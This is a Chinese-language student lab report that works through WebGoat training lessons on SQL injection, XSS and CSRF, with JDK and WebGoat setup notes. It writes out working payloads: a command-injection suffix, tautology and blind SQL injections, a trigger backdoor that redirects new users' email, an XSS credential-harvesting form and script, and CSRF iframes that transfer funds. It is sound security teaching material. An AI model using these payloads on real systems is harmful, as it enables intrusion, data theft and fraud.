2018-2019-2 (内附jdk与webgoat完整安装教程)《网络对抗技术》Exp9 Web安全基础 Week13 20165233

Exp9 Web安全基础

目录


1、基础问题

一、SQL注入攻击原理,如何防护。

  • 原理:SQL注入指的是发生在web应用对后台数据库查询语句处理存在的安全漏洞。

  • 简单地说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令,在数据库中执行,所以能够对后台数据库进行查看等工做,甚至破坏后台数据库形成严重后果。

  • 防护:增长对于特殊字符串的检查,即检查非法字符串的输入;使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤等。

二、XSS攻击的原理,如何防护。

  • 原理:XSS即跨站脚本攻击,它容许恶意使用者将程序代码注入到网页上,其余使用者在浏览网页时就会受到不一样程度的影响。这类攻击通常包含了HTML语言以及目标主机使用的脚本语言。

  • 防护:在表单提交或者url参数传递前,对须要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出等。

三、CSRF攻击原理,如何防护。

  • 原理:CSRF即跨站伪造请求,它属于跨站脚本漏洞的一种衍生。其基本原理是:攻击者利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,脚本伪造受害者发送了一个合法请求。

  • 防护:经过referer、token或者验证码来检测用户提交;尽可能不要在页面的连接中暴露用户隐私信息,对于用户修改删除等操做最好都使用post操做;避免全站通用的cookie,严格设置cookie的域等。

返回目录

2、实验内容

实验前准备:jdk与webgoat的安装

一、因为个人kali中没有安装jdk,因此首先去oracle官网进行下载。(注意:这里我下载的jdk版本为1.8,可与7.0.1的webgoat匹配。版本不匹配后续就会报错!!!而且kali中的openjdk并非所对应须要的jdk!!!)

二、按照我在网上找到的教程,先进行jdk的安装与配置。

三、下载webgoat-container-7.0.1-war-exec.jar

四、运行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar

五、当看到 Starting ProtocolHandler ["http-bio-8080"]这一条消息以后,便可开始后续的实验。

六、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登陆界面,下方已经给出两组默认的用户名和密码:

七、登录成功后,可在网页左侧挑选想要进行的课程。

返回目录

实验点一:SQL

(一)命令注入(Command Injection)

  • 原理:在正常的参数提交过程当中,添加恶意的代码,每每可以获得之外的收获。

  • 目标:可以在目标主机上执行任何系统命令

  • 步骤

    • 右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"

  • 点击View,攻击成功:

  • 与正常的结果相对比,可知:遭到Command Injection攻击的网页在返回正常的结果以外还被输入了shell指令而执行了netstat -an命令并返回告终果。

返回目录

(二)数字型注入(Numeric SQL Injection)

  • 原理:在station字段中注入特征字符,能组合成新的SQL语句。

    SELECT * FROM weather_data WHERE station = [station]

  • 目标:下面的表单容许用户查看天气数据。请经过注入 SQL 字符串的方式查看全部的天气数据。

  • 步骤

    • 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

  • 点击Go!,攻击成功,显示全部城市的天气状况:

返回目录

(三)日志欺骗(Log Spoofing)

  • 原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者能够利用这种方式清除他们在日志中的痕迹。

  • 目标:灰色区域表明在Web服务器的日志中的记录的内容。咱们的目的是使用户名为“admin”的用户在日志中显示“成功登陆”。升级咱们的攻击,例如:在日志文件中插入脚本。

  • 步骤

    • 本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:webgoat Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行:

  • 这样我们能够往该应用中注入回车(0D%)和换行符(%0A)。在 username中填入webgoat%0d%0aLogin Succeeded for username: admin,这样就完成了该课程:

返回目录

(四)LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)

  • 目标:使用 SQL 注入绕过认证

  • 步骤

    • 因为网页的html代码中,给password的框限定了最大长度为8,我将其修改至20。不然要注入的永真式长度大于最大长度将会注入失败。

  • 以用户Neville登陆,仍是以永真式的形式输入密码Smith' or 1=1 --:

  • 攻击成功,获得全部人员列表:

返回目录

(五)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

  • 目标:执行SQL注入绕过认证; 该课程的目的是经过注入语句,浏览到本来没法浏览的信息。经过一个普通员工的帐户, 浏览其BOSS的帐户信息。

  • 步骤

    • 首先使用用户名Larry和密码larry登陆,浏览员工信息的按钮是ViewProfile

  • 在多行文本框中被选中的员工Larry Stooge(employee)上右键审查网页元素,能够看到此处是用员工ID做为索引来传送数据的,感受这里的数据库应该是以员工ID做为索引,返回的是每次查询到的第一条数据。用社会工程学解释老板应该是工资最高的,因此为了把老板排到第一个我们应该在员工ID:101后面给他加上这么一些东西进行SQL注入排序,即:

101 or 1=1 order by salary desc

其中desc表示使用降序排列。

  • 再次点击ViewProfile,便可获取老板的信息。

  • 点击还能够修改boss的信息。

返回目录

(六)字符串注入(String SQL Injection)

  • 原理:基于如下查询语句构造本身的SQL注入字符串。

    SELECT * FROM user_data WHERE last_name = '?'

  • 目标:下面的表格,容许用户查看他们的信用卡号码。尝试经过SQL注入将全部信用卡信息显示出来。尝试的用户名是“Smith”。

  • 步骤

    • 正常查询结果应该只有员工Smith的信息:

  • 经过分析可知:将''提早闭合,插入永真式而后注释掉后面的内容就能够了,因此输入Smith' or 1=1 --便可完成本课程内容。注入成功后,即可看到全部员工的信息:

返回目录

(七)数据库后门(Database Backdoors)

  • 原理:数据库一般做为一个Web应用程序的后端来使用。此外,它也用来做为存储的媒介。它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另外一个数据库操做,如insert,select,update or delete。举个例子:攻击者能够建立一个触发器,该触发器在建立新用户时,将每一个新用户的Email地址设置为攻击者的地址。

  • 目标:咱们的目标是学习如何利用查询的脆弱性建立触发器。因为WebGoat使用的是MySQL数据库,不支持触发器,因此该课程不会真正完成。

    咱们的Login ID是101.

  • 步骤

    • 输入101,获得该用户的信息:

  • 输入注入语句101; update employee set salary=10000(因为要执行两个语句,中间须要用分号分隔):

  • 使用如下查询条件,添加触发器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,即可看到攻击成功:

返回目录

(八)数字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些SQL注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。

  • 目标:下面的表单容许输入一个账号,并检测该账号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。

    咱们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int型。输入找到的数值并提交,经过本课程。

  • 步骤

    • 本节课程中,服务端页面返回的信息只有两种:账号有效或无效。所以没法简单地查询到账号的PIN数值。尽管如此,咱们能够利用系统后台在用的查询语句。查询语句以下:

      SELECT * FROM user_data WHERE userid=accountNumber;

  • 若是该查询语句返回了账号的信息,页面将提示账号有效,不然提示无效。使用AND函数,咱们能够添加一些额外的查询条件。若是该查询条件一样为真,则返回结果应提示账号有效,不然无效。例以下面两个查询方式:

101 AND 1=1

101 AND 1=2

  • 在第一条语句中,两个条件都成立,因此页面返回账号有效。

  • 而第二条则返回账号无效。如今能够针对查询语句的后半部分构造复杂语句。

  • 下面的语句能够告诉咱们PIN数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

  • 页面提示账号无效,说明PIN<=10000;不断调整数值,能够利用二分法,最终判断出PIN数值的大小为2364。

返回目录

(九)字符串型盲注入(Blind String SQL Injection)

  • 原理:某些SQL注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。

  • 目标:下面的表单容许输入一个账号,并检测该账号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。

    咱们的目标是找到pins表中cc_number字段值为4321432143214321 的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,经过本课程。

  • 步骤

    • 本节课程很是相似与上一节。最大的不一样是要查询的字段是一个字符串而不是数值。所以咱们一样能够经过注入的方式查找到该字段的值。查询语句很是相似上一节,以下:

      101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

  • 通过屡次测试(比较 0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符:

    `101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );`
  • 最终,判断出pin字段的值为:Jill。提交该值,经过本节课程:

返回目录

实验点二:XSS

(一)使用 XSS 钓鱼(Phishing with XSS)

  • 原理:若是有权限操做页面源代码,那么HTML文档的内容是能够被篡改的。

  • 目标:建立一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

  • 步骤

    • 利用XSS能够在已存在的页面中进一步添加元素。该解决方案包括两部分,咱们须要结合起来使用:

      • 受害人填写一个表格;

      • 以读取脚本的形式,将收集到的信息发送给攻击者。

    • 一个带用户名和密码输入框的表格以下:

    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
  • 搜索这段代码,就能看到页面中增长了一个表单:

  • 下面这段脚本语言的代码会读取咱们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat:

    <script>
    function hack()
    { 
       alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
       XSSImage=new Image; 
       XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
  • 将以上两段代码合并,搜索这段代码,咱们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登陆,WebGoat会将输入的信息捕获并反馈给咱们:

返回目录

(二)存储型XSS攻击(Stored XSS Attacks)

  • 原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。由于是留言,因此任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

  • 目标:建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容。

  • 步骤:在title中任意输入字符,留言板中输入<script>alert("Ha Ha Ha");</script>,便可攻击成功。

返回目录

(三)反射型XSS攻击(Reflected XSS Attacks)

  • 目标:在反射的XSS攻击中,攻击者可使用攻击脚本建立一个URL,并将其发布到另外一个网站、经过电子邮件或其余方式让受害者点击它。

  • 步骤:输入代码<script>alert("You're an idiot!");</script>,点击purse的同时页面就给出了反馈:

返回目录

实验点三:CSRF

绕过 CSRF 确认(CSRF Prompt By‐Pass)

  • 原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但若是提示符是可编写脚本的,则能够忽略它。本课展现如何经过发出另外一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。

  • 目标:与CSRF课程相似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您能够从右边的插图中复制课程的参数,建立格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。不管谁收到这封电子邮件,而且碰巧在那个时候经过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框。

  • 步骤

    • 查看页面右侧Parameters中的src和menu值分别为280和900:

  • 并在title框中输入任意内容,message框中输入代码:

    ```
    <iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
    ```
  • 在Message List中生成以Title命名的连接,点击进入后,攻击成功

返回目录

3、实验中遇到的问题及解决方案

安装webgoat时碰到登陆成功后却没法显示教程的问题?

解决方法:缘由是jdk与webgoat版本不匹配,或者是jdk未安装(注意:openjdk不是此次实验中所要用的jdk,两者不同!!!),具体教程,见我实验前准备那里的描述。

返回目录

4、实验总结

  • 本次实验总体还比较顺利,感受此次的这种实验形式我能学到更多,在webgoat网页左侧的各类课程中,能够根据它给的solution来具体学习原理与方法,并根据它所写的步骤来进行实验,还有hints(提示),而且在你并未注入成功时,有红字去提示缘由,成功也会有提示。
  • 学到不少种类的注入,比起当初只知道那种普通的永真式的注入语句,如今掌握的方法更加多样。

返回目录

相关文章
相关标签/搜索